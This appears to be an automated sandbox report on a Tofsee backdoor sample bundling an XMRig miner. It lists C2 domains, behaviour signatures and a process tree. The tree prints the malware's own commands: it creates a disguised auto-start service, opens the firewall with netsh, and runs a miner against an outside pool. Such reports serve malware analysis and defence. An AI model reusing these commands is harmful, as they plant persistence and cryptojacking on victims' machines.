Analysis

  • max time kernel
    150s
  • max time network
    179s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    18/10/2021, 12:35

General

  • Target
    f3baa4ed45dc9d0b254f70e6e4b0ac0f.exe
  • Size 344KB
  • Sample211018-psdsradee4
  • SHA256 16fdbb6f45f722fffffafa455e8c5dd268c895e6b050031f40ab557be5240332
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • tofsee

C2
  • quadoil.ru

  • lakeflex.ru

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 18 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f3baa4ed45dc9d0b254f70e6e4b0ac0f.exe
    "C:\Users\Admin\AppData\Local\Temp\f3baa4ed45dc9d0b254f70e6e4b0ac0f.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1284
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\qboytetp\
      2⤵
        PID:320
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\dsxysadw.exe" C:\Windows\SysWOW64\qboytetp\
        2⤵
          PID:636
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create qboytetp binPath= "C:\Windows\SysWOW64\qboytetp\dsxysadw.exe /d\"C:\Users\Admin\AppData\Local\Temp\f3baa4ed45dc9d0b254f70e6e4b0ac0f.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:980
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description qboytetp "wifi internet conection"
            2⤵
              PID:1396
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start qboytetp
              2⤵
                PID:1044
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1108
              • C:\Windows\SysWOW64\qboytetp\dsxysadw.exe
                C:\Windows\SysWOW64\qboytetp\dsxysadw.exe /d"C:\Users\Admin\AppData\Local\Temp\f3baa4ed45dc9d0b254f70e6e4b0ac0f.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1796
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1332
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:616

              Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    memory/616-74-0x00000000002A0000-0x0000000000391000-memory.dmp

                    memory/616-73-0x00000000002A0000-0x0000000000391000-memory.dmp

                    memory/1284-56-0x0000000000400000-0x0000000000788000-memory.dmp

                    memory/1284-54-0x00000000762D1000-0x00000000762D3000-memory.dmp

                    memory/1284-53-0x00000000008EB000-0x00000000008FC000-memory.dmp

                    memory/1284-55-0x0000000000220000-0x0000000000233000-memory.dmp

                    memory/1332-68-0x0000000000100000-0x0000000000115000-memory.dmp

                    memory/1332-69-0x0000000000100000-0x0000000000115000-memory.dmp

                    memory/1796-72-0x0000000000400000-0x0000000000788000-memory.dmp

                    memory/1796-65-0x00000000002EB000-0x00000000002FC000-memory.dmp